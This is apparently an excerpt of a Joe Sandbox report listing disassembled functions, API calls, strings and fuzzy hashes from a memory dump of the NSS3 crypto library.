PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E8F29
PR_LogPrint.NSS3(?,00000000), ref: 6C7E8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C7E8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E8F80
PR_LogPrint.NSS3(?,00000000), ref: 6C7E8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C7E8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C7E8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C7E9047

Strings

(CK_INVALID_HANDLE), xrefs: 6C7E8EAC, 6C7E8F1F, 6C7E8F79
*pulWrappedKeyLen = 0x%x, xrefs: 6C7E9042
C_WrapKey, xrefs: 6C7E8E71
hKey = 0x%x, xrefs: 6C7E8F5B, 6C7E8F6B
pWrappedKey = 0x%p, xrefs: 6C7E8FAD
pMechanism = 0x%p, xrefs: 6C7E8EE0
hSession = 0x%x, xrefs: 6C7E8E8E, 6C7E8E9E
hWrappingKey = 0x%x, xrefs: 6C7E8F01, 6C7E8F11
pulWrappedKeyLen = 0x%p, xrefs: 6C7E8FC8

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 5737286ea8173fab5d11de22abea167a43c70019a7bef29e40e1dbe2cd0f092a
Instruction ID: 05062a94e8d46eaae8d86b5a1d968684e98ed59addb264e10efd6e0fd98721e7
Opcode Fuzzy Hash: 5737286ea8173fab5d11de22abea167a43c70019a7bef29e40e1dbe2cd0f092a
Instruction Fuzzy Hash: AA51C332645504AFDB10EF589F4EF9A37B6EB4A31CF044826F50867B12D731A918CB92

Function 6C814C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C804F51,00000000), ref: 6C814C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C804F51,00000000), ref: 6C814C5B
PR_smprintf.NSS3(6C8EAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C804F51,00000000), ref: 6C814C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C804F51,00000000), ref: 6C814CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C804F51,00000000), ref: 6C814D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C804F51,00000000), ref: 6C814D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C814D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C814DA2
free.MOZGLUE(?), ref: 6C814DB9
free.MOZGLUE(00000000), ref: 6C814DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C814D9D
rootFlags, xrefs: 6C814D47
any, xrefs: 6C814C96
%s,%s, xrefs: 6C814C4B
timeout, xrefs: 6C814C91
ootT, xrefs: 6C814D1A
slotFlags, xrefs: 6C814D34
rust, xrefs: 6C814D22
0x%08lx=[%s %s], xrefs: 6C814D80
every, xrefs: 6C814CA1

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 7b6525093e6708089a7bd053b603bf5751b15ead4fe1bd758d62af9a4996da52
Instruction ID: 8907e40445042727dce702105e6a83fffc1aede14aefcc586ee0590c38ccc42a
Opcode Fuzzy Hash: 7b6525093e6708089a7bd053b603bf5751b15ead4fe1bd758d62af9a4996da52
Instruction Fuzzy Hash: 19419BB1A141426BDF315F189D85ABA3AE4AFD630DF554938E80A4BB01E731D824C7D3

Function 6C7EE640 Relevance: 34.8, APIs: 23, Instructions: 266memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,6C7F8C5B,-00000001), ref: 6C7EE655

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

PK11_GetIVLength.NSS3(-00000001,?,?,6C7F8C5B,-00000001), ref: 6C7EE7DE
PORT_Alloc_Util.NSS3(00000000,?,?,?,6C7F8C5B,-00000001), ref: 6C7EE7F4
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6C7F8C5B,-00000001), ref: 6C7EE807
PK11_GetIVLength.NSS3(-00000001,?,?,6C7F8C5B,-00000001), ref: 6C7EE81B
PORT_Alloc_Util.NSS3(00000000,?,?,?,6C7F8C5B,-00000001), ref: 6C7EE82E
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6C7F8C5B,-00000001), ref: 6C7EE841
free.MOZGLUE(00000000,?,?,?,?,?,?,6C7F8C5B,-00000001), ref: 6C7EE852
PORT_Alloc_Util.NSS3(00000004,?,?,6C7F8C5B,-00000001), ref: 6C7EE878
free.MOZGLUE(00000000,?,?,6C7F8C5B,-00000001), ref: 6C7EE8AB
PORT_Alloc_Util.NSS3(0000000C,?,?,?,6C7F8C5B,-00000001), ref: 6C7EE8B6
PORT_Alloc_Util.NSS3(00000008,?,?,?,?,6C7F8C5B,-00000001), ref: 6C7EE8D4
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7EE9D5

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Alloc_$K11_$GenerateLengthRandomfree$Item_ValueZfreemalloc
String ID:
API String ID: 1964932494-0
Opcode ID: d1abcd9e319ef92d2b6f27a20a5f91d0357c4a19e5a2263e6ed920317020eda1
Instruction ID: 89715d73f36b7acac09e1683bfcd9945dae454d7824a5028fc562b36608ea6ac
Opcode Fuzzy Hash: d1abcd9e319ef92d2b6f27a20a5f91d0357c4a19e5a2263e6ed920317020eda1
Instruction Fuzzy Hash: 8E81F8B2A0570A5BFB508B299E8576F3AE89B0934CF204C3AD919C6F40FB35D95487D3

Function 6C7F2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C7F2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C7F2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7F2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7F2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C7C4F1C,?,-00000001,00000000,?), ref: 6C7F2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C7C4F1C,?,-00000001,00000000), ref: 6C7F2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7F2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7F2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7F2EF8
PR_Unlock.NSS3(?), ref: 6C7F2F62
TlsGetValue.KERNEL32 ref: 6C7F2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7F2F9E
PR_Unlock.NSS3(?), ref: 6C7F2FCA
TlsGetValue.KERNEL32 ref: 6C7F301A
EnterCriticalSection.KERNEL32(?), ref: 6C7F302E
PR_Unlock.NSS3(?), ref: 6C7F3066
PR_SetError.NSS3(00000000,00000000), ref: 6C7F3085
PR_Unlock.NSS3(?), ref: 6C7F30EC
TlsGetValue.KERNEL32 ref: 6C7F310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7F3124
PR_Unlock.NSS3(?), ref: 6C7F314C

Part of subcall function 6C7D9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C80379E,?,6C7D9568,00000000,?,6C80379E,?,00000001,?), ref: 6C7D918D
Part of subcall function 6C7D9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C80379E,?,6C7D9568,00000000,?,6C80379E,?,00000001,?), ref: 6C7D91A0

Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07AD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07CD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07D6
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C73204A), ref: 6C7A07E4
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,6C73204A), ref: 6C7A0864
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7A0880
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C73204A), ref: 6C7A08CB
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08D7
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C7F316D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 583ea7c081024cd4faf15ea2fbfbf78d1411e2758bde71e935509c45a960897e
Instruction ID: 17b02c3d8bc4bca3f9c03cf0d9c486cadc47f9657b29c70cdd2be4491e8ef432
Opcode Fuzzy Hash: 583ea7c081024cd4faf15ea2fbfbf78d1411e2758bde71e935509c45a960897e
Instruction Fuzzy Hash: CCF1BDB1D00208EFEF00DF68D989B9DBBB4BF09318F144169EC15A7711E731A996CB92

Function 6C7F25D0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C7C662E,?,?), ref: 6C7F264E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C7C662E,?,?), ref: 6C7F2670
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C7C662E,?), ref: 6C7F2684
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7F26C2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C7F26E0
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7F26F4
PR_Unlock.NSS3(?), ref: 6C7F274D
PR_SetError.NSS3(00000000,00000000), ref: 6C7F28A9

Part of subcall function 6C803440: PK11_GetAllTokens.NSS3 ref: 6C803481
Part of subcall function 6C803440: PR_SetError.NSS3(00000000,00000000), ref: 6C8034A3
Part of subcall function 6C803440: TlsGetValue.KERNEL32 ref: 6C80352E
Part of subcall function 6C803440: EnterCriticalSection.KERNEL32(?), ref: 6C803542
Part of subcall function 6C803440: PR_Unlock.NSS3(?), ref: 6C80355B

PR_Unlock.NSS3(?), ref: 6C7F27A1
PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C7C662E,?,?,?), ref: 6C7F27B5
PR_Unlock.NSS3(?), ref: 6C7F27CE
TlsGetValue.KERNEL32 ref: 6C7F27E8
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7F2800

Part of subcall function 6C7FF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C7FF854
Part of subcall function 6C7FF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C7FF868
Part of subcall function 6C7FF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C7FF882
Part of subcall function 6C7FF820: free.MOZGLUE(04C483FF,?,?), ref: 6C7FF889
Part of subcall function 6C7FF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C7FF8A4
Part of subcall function 6C7FF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C7FF8AB
Part of subcall function 6C7FF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C7FF8C9
Part of subcall function 6C7FF820: free.MOZGLUE(280F10EC,?,?), ref: 6C7FF8D0

PR_Unlock.NSS3(?), ref: 6C7F2834
TlsGetValue.KERNEL32 ref: 6C7F284E
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7F2866

Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07AD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07CD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07D6
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C73204A), ref: 6C7A07E4
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,6C73204A), ref: 6C7A0864
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7A0880
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C73204A), ref: 6C7A08CB
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08D7
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08FB

Strings

.f|l, xrefs: 6C7F261B, 6C7F269B, 6C7F26CA, 6C7F2780, 6C7F2890, 6C7F2635, 6C7F269E, 6C7F2738, 6C7F2783
.f|l, xrefs: 6C7F2618, 6C7F2632

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$CriticalSection$Unlock$Enterfree$DeleteError$K11_calloc$ImportPublicTokens
String ID: .f|l$.f|l
API String ID: 544520609-288910351
Opcode ID: 6a9a91e76e7b27d851021c8450a2de3c8e46af1df509716e252d27d866dbce1e
Instruction ID: b9075281e48a44005eac0694b5c616c55d005df831625990ab34f8624375fa04
Opcode Fuzzy Hash: 6a9a91e76e7b27d851021c8450a2de3c8e46af1df509716e252d27d866dbce1e
Instruction Fuzzy Hash: C3B1E4B0A00208DFDB10DF69DA89BAEB7B4FF09308F504539D915A7B01E731E956CBA1

Function 6C810550 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 182stringCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6C7F5989), ref: 6C810571

Part of subcall function 6C7A1240: TlsGetValue.KERNEL32(00000040,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A1267
Part of subcall function 6C7A1240: EnterCriticalSection.KERNEL32(?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A127C
Part of subcall function 6C7A1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A1291
Part of subcall function 6C7A1240: PR_Unlock.NSS3(?,?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A12A0

PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6C7F5989), ref: 6C8105B7
PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6C7F5989), ref: 6C8105C8
strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6C7F5989), ref: 6C8105EC
strstr.VCRUNTIME140(00000001,?), ref: 6C810653
free.MOZGLUE(?,?,?,?,00000002,00000000,?,6C7F5989), ref: 6C810681
PORT_NewArena_Util.NSS3(00000800,?,?,?,?,00000002,00000000,?,6C7F5989), ref: 6C8106AB
PL_NewHashTable.NSS3(00000000,6C80FE80,?,6C85C350,00000000,00000000,?,?,?,?,?,00000002,00000000,?,6C7F5989), ref: 6C8106D5
PL_NewHashTable.NSS3(00000000,?,6C85C350,6C85C350,00000000,00000000), ref: 6C8106EC
PL_HashTableAdd.NSS3(?,6C8DE618,6C8DE618), ref: 6C81070F

Part of subcall function 6C732DF0: PL_HashTableRawAdd.NSS3(?,?,?,?,?), ref: 6C732E35

PL_HashTableAdd.NSS3(FFFFFFFF,6C8DE618), ref: 6C810738
PL_HashTableAdd.NSS3(6C8DE634,6C8DE634), ref: 6C810752
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,00000002,00000000,?,6C7F5989), ref: 6C810767

Strings

dynamic OID data, xrefs: 6C81068A
NSS_ALLOW_WEAK_SIGNATURE_ALG, xrefs: 6C81056C
NSS_HASH_ALG_SUPPORT, xrefs: 6C8105B2
V, xrefs: 6C810559
flags, xrefs: 6C810555

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: HashTable$SecureUtil$Arena_CriticalEnterErrorSectionStrdup_UnlockValuefreegetenvstrchrstrstr
String ID: NSS_ALLOW_WEAK_SIGNATURE_ALG$NSS_HASH_ALG_SUPPORT$V$dynamic OID data$flags
API String ID: 514890423-4248967104
Opcode ID: 76336fa2961cc21ea842632ac562ab21d9c510fae6b624a2d2318d8456ac5096
Instruction ID: 955671e9c22ff11550febed49a025a9053e844e596944b43f9e4db42dcd4c26c
Opcode Fuzzy Hash: 76336fa2961cc21ea842632ac562ab21d9c510fae6b624a2d2318d8456ac5096
Instruction Fuzzy Hash: F25106B1F092825BFB219B259E0A7573AF49B43358F280D25D818D7F82F731C824CBA1

Function 6C7F6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7F6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C7F6943
Part of subcall function 6C7F6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C7F6957
Part of subcall function 6C7F6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C7F6972
Part of subcall function 6C7F6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C7F6983
Part of subcall function 6C7F6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7F69AA
Part of subcall function 6C7F6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7F69BE
Part of subcall function 6C7F6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7F69D2
Part of subcall function 6C7F6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7F69DF
Part of subcall function 6C7F6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C7F6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7F6D8C
free.MOZGLUE(00000000), ref: 6C7F6DC5
free.MOZGLUE(?), ref: 6C7F6DD6
free.MOZGLUE(?), ref: 6C7F6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7F6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7F6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7F6E72
free.MOZGLUE(?), ref: 6C7F6EA7
free.MOZGLUE(?), ref: 6C7F6EC4
free.MOZGLUE(?), ref: 6C7F6ED5
free.MOZGLUE(00000000), ref: 6C7F6EE3
free.MOZGLUE(?), ref: 6C7F6EF4
free.MOZGLUE(?), ref: 6C7F6F08
free.MOZGLUE(00000000), ref: 6C7F6F35
free.MOZGLUE(?), ref: 6C7F6F44
free.MOZGLUE(?), ref: 6C7F6F5B
free.MOZGLUE(00000000), ref: 6C7F6F65

Part of subcall function 6C7F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C7F781D,00000000,6C7EBE2C,?,6C7F6B1D,?,?,?,?,00000000,00000000,6C7F781D), ref: 6C7F6C40
Part of subcall function 6C7F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C7F781D,?,6C7EBE2C,?), ref: 6C7F6C58
Part of subcall function 6C7F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7F781D), ref: 6C7F6C6F
Part of subcall function 6C7F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C7F6C84
Part of subcall function 6C7F6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C7F6C96
Part of subcall function 6C7F6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C7F6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7F6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7F6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C7F6FF4

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 22380e29b2500ab76e6e86259a33792efd3eb751094ef718d1033b0166de5dc3
Instruction ID: b50409262b2035034f9be588fb2551f3d1b8993727dd925108f42c1660df33ca
Opcode Fuzzy Hash: 22380e29b2500ab76e6e86259a33792efd3eb751094ef718d1033b0166de5dc3
Instruction Fuzzy Hash: 62B140B1E012099BEF10CBA5DA85B9E7BF8BF05358F140138E825E7741E731EA16CB61

Function 6C7F4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7F4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C7F4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C7F4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4DB7

Part of subcall function 6C85DD70: TlsGetValue.KERNEL32 ref: 6C85DD8C
Part of subcall function 6C85DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C85DDB4

Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07AD
